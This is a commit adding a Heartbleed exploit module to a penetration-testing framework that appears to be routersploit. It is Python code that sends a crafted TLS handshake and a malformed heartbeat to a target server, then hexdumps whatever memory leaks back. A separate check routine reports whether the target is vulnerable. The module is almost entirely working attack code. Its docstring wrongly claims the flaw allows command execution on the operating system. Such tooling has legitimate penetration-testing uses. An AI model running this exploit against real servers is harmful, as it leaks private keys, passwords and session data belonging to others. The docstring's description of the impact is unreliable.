Commit 0fcedbf5 by Marcin Bury

Adding hearbleed exploit.

parent f5899a17
import re
import socket
import struct
import time
import select
from routersploit import (
exploits,
print_status,
print_error,
print_success,
print_info,
mute,
)
class Exploit(exploits.Exploit):
"""
Exploit implementation for Hearbleed vulnerability.
If the target is vulnerable it allows to execute command on operating system level."
"""
__info__ = {
'name': 'Heartbleed',
'description': 'Exploits Hearbleed vulnerability.',
'authors': [
'Jared Stafford <jspenguin[at]jspenguin.org>', # proof of concept python exploit
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
],
'references': [
'http://www.cvedetails.com/cve/2014-0160',
'http://heartbleed.com/',
'https://www.us-cert.gov/ncas/alerts/TA14-098A',
'https://gist.github.com/takeshixx/10107280',
],
'devices': [
'Multi',
],
}
target = exploits.Option('', 'Target IP address e.g. 192.168.1.1') # target address
port = exploits.Option(443, 'Target port') # default port
hello = '''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
'''
hb = '''
18 03 02 00 03
01 40 00
'''
def h2bin(self, x):
return x.replace(' ', '').replace('\n', '').decode('hex')
def hexdump(self, s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print ' %04x: %-48s %s' % (b, hxdat, pdat)
print
def recvall(self, s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(self, s):
hdr = self.recvall(s, 5)
if hdr is None:
# Unexpected EOF receiving record header - server closed connection
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = self.recvall(s, ln, 10)
if pay is None:
# Unexpected EOF receiving record payload - server closed connection
return None, None, None # ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay
def hit_hb(self, s):
s.send(self.h2bin(self.hb))
while True:
typ, ver, pay = self.recvmsg(s)
if typ is None:
print_error("No heartbeat response received, server likely not vulnerable")
return False
if typ == 24:
print_status("Received heartbeat response")
self.hexdump(pay)
if len(pay) > 3:
print_success("WARNING: server returned more data than it should - server is vulnerable!")
else:
print_error("Server processed malformed heartbeat, but did not return any extra data.")
return
if typ == 21:
print_error("Server returned error, likely not vulnerable")
print_error("Exploit failed")
return
def run(self):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.target, int(self.port)))
s.send(self.h2bin(self.hello))
except:
print_error("Connection failed: {}:{}".format(self.target, self.port))
return
while True:
typ, ver, pay = self.recvmsg(s)
if typ == None:
print_error("Server closed connection without sending Server Hello.")
print_error("Exploit failed")
return
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break
print_status("Sending heartbeat request")
s.send(self.h2bin(self.hb))
self.hit_hb(s)
@mute
def check(self):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.target, int(self.port)))
s.send(self.h2bin(self.hello))
except socket.error:
return False # target is not vulnerable
while True:
typ, ver, pay = self.recvmsg(s)
if typ == None:
return False # target is not vulnerable
if typ == 22 and ord(pay[0]) == 0x0E:
break
s.send(self.h2bin(self.hb))
s.send(self.h2bin(self.hb))
while True:
typ, ver, pay = self.recvmsg(s)
if typ is None:
return False # target is not vulnerable
if typ == 24:
if len(pay) > 3:
return True # target is vulnerable
else:
return False # target is not vulnerable
if typ == 21:
return False # target is not vulnerable
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